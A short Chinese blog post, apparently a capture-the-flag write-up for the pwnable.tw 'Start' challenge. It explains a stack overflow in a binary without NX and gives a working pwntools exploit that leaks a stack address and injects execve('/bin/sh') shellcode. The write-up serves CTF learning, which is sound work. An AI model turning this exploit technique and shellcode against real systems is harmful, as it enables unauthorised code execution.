[pwnable.tw]-Start

  • 程序很简单,直接用汇编int 80实现的读写退出,没开NX保护,然后有个栈溢出漏洞,先泄漏栈地址,然后往栈里写shellcode,再return to shellcode即可
  • 这里我尝试自己写了个简单的shellcode

exp:

from pwn import *
context.log_level = 'debug'
p = process('./start')


p.recvuntil(' CTF:')
#gdb.attach(p)
p.send('a'*0x14 + p32(0x08048087))

leak_stack = u32(p.recv(4))
log.success("leak stack add: 0x%x"%leak_stack)

shellcode = asm(
            '''
            sub esp,0x60
            push 0x0068732f
            push 0x6e69622f
            mov ebx, esp
            mov eax, 0xb
            xor cl, cl
            xor dl, dl
            int 0x80
            '''
                )

p.send('a'*0x14 + p32(leak_stack+0x14) + shellcode)

p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容